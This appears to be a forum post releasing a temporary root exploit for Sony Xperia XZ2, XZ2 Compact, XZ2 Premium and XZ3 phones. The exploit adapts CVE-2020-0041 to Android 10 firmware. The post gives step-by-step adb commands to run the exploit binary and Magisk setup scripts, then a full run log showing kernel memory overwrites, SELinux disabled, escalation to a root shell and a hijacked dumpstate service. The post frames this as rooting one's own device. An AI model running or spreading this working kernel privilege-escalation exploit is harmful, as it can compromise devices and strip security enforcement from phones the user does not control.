[Sony Xperia XZ2 ROMs, Kernels, Recoveries, & Other] j4nn:
temp root exploit for sony xperia XZ2/XZ2c/XZ2p/XZ3 with android 10 firmware

including temporal magisk setup from the exploit
​

The exploit uses CVE-2020-0041 originally designed for Pixel 3 running kernel 4.9.

I have adapted the Pixel 3 specific exploit for kernel 4.9 that is used with sony TAMA platform phones running Android 10 with February 2020 security patch level.

SUPPORTED TARGETS

H8116-52.1.A.0.618 - xperia XZ2 Premium

H8166-52.1.A.0.618 - xperia XZ2 Premium dual

H8216-52.1.A.0.618 - xperia XZ2

H8266-52.1.A.0.618 - xperia XZ2 dual

H8296-52.1.A.0.618 - xperia XZ2 dual

H8314-52.1.A.0.618 - xperia XZ2 Compact

H8324-52.1.A.0.618 - xperia XZ2 Compact dual

H8416-52.1.A.0.618 - xperia XZ3

H9436-52.1.A.0.618 - xperia XZ3 dual

H9493-52.1.A.0.532 - xperia XZ3 dual

This has been tested only with xperia XZ2 H8216-52.1.A.0.618 target, but support for other targets have been implemented based on analysis of each kernel image from target firmware.

Please note, it is unlikely that any other fw version than those listed above would work.

The only (unlikely) case when the exploit could work with different fw version (or different phone model) would be that they would use binary identical kernel image in the firmware.

USAGE HOWTO INCLUDING MAGISK SETUP

be sure to run supported firmware version on your phone (you may need to downgrade, involving factory reset)

enable developer mode options and in there adb debugging (eventually install adb drivers)

download the tama-mroot.zip with the exploit attached in this post

download Magisk-v20.4.zip from magisk releases page on github here

use 'adb push tama-mroot.zip Magisk-v20.4.zip /data/local/tmp' to copy the zips to the phone

unzip and prepare magisk setup with following commands in 'adb shell'

cd /data/local/tmp
unzip tama-mroot.zip
chmod 755 tama-mroot magisk-setup.sh magisk-start.sh
./magisk-setup.sh

get temp root and start magisk up with following commands in 'adb shell':

cd /data/local/tmp
./tama-mroot
./magisk-start.sh -1
./magisk-start.sh -2
./magisk-start.sh -3

If it worked, you should see something like this:

H8216:/ $ cd /data/local/tmp
H8216:/data/local/tmp $ ./tama-mroot
[+] Detected H8216-52.1.A.0.618 target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd07822fa00
[+] file epitem at ffffffd102da6d00
[+] Reallocating content of 'write8_inode' with controlled data...............[DONE]
[+] Overwriting 0xffffffd07822fa20 with 0xffffffd102da6d50...[DONE]
[+] Write done, should have arbitrary read now.
[+] file operations: ffffff9dee01ebf8
[+] kernel base: ffffff9dece80000
[+] Reallocating content of 'write8_selinux' with controlled data..[DONE]
[+] Overwriting 0xffffff9def290000 with 0x0...[DONE]
[+] init_cred: ffffff9def02fcd0
[+] memstart_addr: 0xfffffff040000000
[+] First level entry: ae7f6003 -> next table at ffffffd06e7f6000
[+] Second level entry: ae419003 -> next table at ffffffd06e419000
[+] sysctl_table_root = ffffff9def05c710
[+] Reallocating content of 'write8_sysctl' with controlled data.......[DONE]
[+] Overwriting 0xffffffd1316fc268 with 0xffffffd0ba748000...[DONE]
[+] Injected sysctl node!
[+] Node write8_inode, pid 7109, kaddr ffffffd0c1193700
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_selinux, pid 6726, kaddr ffffffd08bfeb400
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_sysctl, pid 6772, kaddr ffffffd0afc0d000
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[+] epitem.next = ffffffd07822fa20
[+] epitem.prev = ffffffd07822fad8
[+] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -1
+ FRESH=false
+ '[' -1 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ ./magiskpolicy --live --magisk 'allow dumpstate * * *'
Load policy from: /sys/fs/selinux/policy
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -2
+ FRESH=false
+ '[' -2 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=2
+ '[' 2 '=' 2 ']'
+ mount -t tmpfs -o 'mode=755' none /sbin
+ chcon u:object_r:rootfs:s0 /sbin
+ chmod 755 /sbin
+ cp -a magisk/boot_patch.sh /sbin
+ cp -a magisk/magiskboot /sbin
+ cp -a magisk/magiskinit64 /sbin
+ cp -a magisk/busybox /sbin
+ cp -a magisk/util_functions.sh /sbin
+ cd /sbin
+ chmod 755 boot_patch.sh busybox magiskboot magiskinit64 util_functions.sh
+ mkdir r
+ mount -o bind / r
+ cp -a r/sbin/. /sbin
+ umount r
+ rmdir r
+ mv magiskinit64 magiskinit
+ ./magiskinit -x magisk magisk
+ ln -s /sbin/magiskinit /sbin/magiskpolicy
+ ln -s /sbin/magiskinit /sbin/supolicy
+ false
+ chcon -R u:object_r:magisk_file:s0 /data/adb/magisk
+ rm -f magiskboot util_functions.sh boot_patch.sh
+ ln -s /sbin/magisk /sbin/su
+ ln -s /sbin/magisk /sbin/resetprop
+ ln -s /sbin/magisk /sbin/magiskhide
+ mkdir /sbin/.magisk
+ chmod 755 /sbin/.magisk
+ >/sbin/.magisk/config
+ echo 'KEEPVERITY=true'
+ >>/sbin/.magisk/config
+ echo 'KEEPFORCEENCRYPT=true'
+ chmod 000 /sbin/.magisk/config
+ mkdir -p /sbin/.magisk/busybox
+ chmod 755 /sbin/.magisk/busybox
+ mv busybox /sbin/.magisk/busybox
+ mkdir -p /sbin/.magisk/mirror
+ chmod 000 /sbin/.magisk/mirror
+ mkdir -p /sbin/.magisk/block
+ chmod 000 /sbin/.magisk/block
+ mkdir -p /sbin/.magisk/modules
+ chmod 755 /sbin/.magisk/modules
+ mkdir -p /data/adb/modules
+ chmod 755 /data/adb/modules
+ mkdir -p /data/adb/post-fs-data.d
+ chmod 755 /data/adb/post-fs-data.d
+ mkdir -p /data/adb/service.d
+ chmod 755 /data/adb/service.d
+ chcon -R -h u:object_r:rootfs:s0 /sbin/.magisk
+ chcon u:object_r:magisk_file:s0 /sbin/.magisk/busybox/busybox
+ /sbin/magisk --daemon
client: launching new main daemon process
+ pidof magiskd
+ MP=14148
+ '[' -z 14148 ']'
+ >/sbin/.magisk/escalate
+ echo 14148
+ '[' -e /sbin/.magisk/escalate ']'
+ sleep 1
+ '[' -e /sbin/.magisk/escalate ']'
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -3
+ FRESH=false
+ '[' -3 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=3
+ '[' 3 '=' 2 ']'
+ >/sbin/.magisk/magiskd
+ echo -e '#!/system/bin/sh\n/sbin/magisk --daemon'
+ chmod 755 /sbin/.magisk/magiskd
+ chcon u:object_r:dumpstate_exec:s0 /sbin/.magisk/magiskd
+ getprop init.svc.dumpstate
+ SVC=''
+ timeout=10
+ '[' 10 -gt 0 ']'
+ stop dumpstate
+ killall -9 magiskd
+ stop dumpstate
+ mount -o bind /sbin/.magisk/magiskd /system/bin/dumpstate
+ start dumpstate
+ timeout=10
+ '[' 10 -le 0 ']'
+ pidof magiskd
+ MP=14165
+ '[' -n 14165 ']'
+ break
+ stop dumpstate
+ sleep 1
+ umount /system/bin/dumpstate
+ rm -f /sbin/.magisk/magiskd
+ '[' '' '=' running ']'
+ rm -f /dev/.magisk_unblock
+ /sbin/magisk --post-fs-data
+ timeout=10
+ '[' -e /dev/.magisk_unblock -o 10 -le 0 ']'
+ sleep 1
+ timeout=9
+ '[' -e /dev/.magisk_unblock -o 9 -le 0 ']'
+ /sbin/magisk --service
+ sleep 1
+ /sbin/magisk --boot-complete
+ chmod 751 /sbin
root_by_cve-2020-0041:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:magisk:s0
root_by_cve-2020-0041:/data/local/tmp # uname -a
Linux localhost 4.9.186-perf+ #1 SMP PREEMPT Fri Jan 17 01:22:05 2020 aarch64
root_by_cve-2020-0041:/data/local/tmp # getenforce
Permissive

Now you can exit the temp root shell and use 'su' to get a root shell controlled by magisk manager or allow other apps that need root as asking for root permission now works.

The magisk setup from exploit including working permission asking has been fully developed by me, it uses some novel techniques to overcome the limitations caused by magisk run from a temp root instead of being integrated in boot process as a service.

Please be careful what you use the temp root for.

Changing something in partitions protected by dm-verity (or Android Verified Boot 2.0), like for example /system, /vendor or kernel boot image, can result with a not anymore booting phone.

This is why it is called 'temp root' - you get a root shell only temporarily, it is lost with reboot and it does not allow to make permanent changes in crucial partitions - you would need to unlock bootloader for that.

Some partitions might still be possible to modify - for example in case of sony xperia xz1 phones it was possible to do permanent debloat via changes in /oem partition and such debloat would survive even factory reset. Similarly some modem configs have been present in /oem allowing to setup IMS for different operators/regions or tune other modem related stuff.

Please note, this exploit will get you a root shell with still locked TAMA platform phones that could allow to backup TA partition in still locked state, having drm keys (the device key) still there. Backup of TA partition now works with tama-mroot avoiding 'Required key not available' you could experience with previously released tama-root.

There is currently no known method though how to restore drm functionalities after bootloader unlock even after restoring TA partition from the locked state backup.

For details please check exploiting xperia XZ2 - good and bad news post and following discussion there.

SOURCES

Exploit sources for all releases are available at my github here.

CREDITS

Big thanks to Blue Frost Security for the excellent writeup and the exploit itself.

DONATIONS

If you like my work, you can donate using the Donate to Me button with several methods there.

Thank you very much to all who donate.

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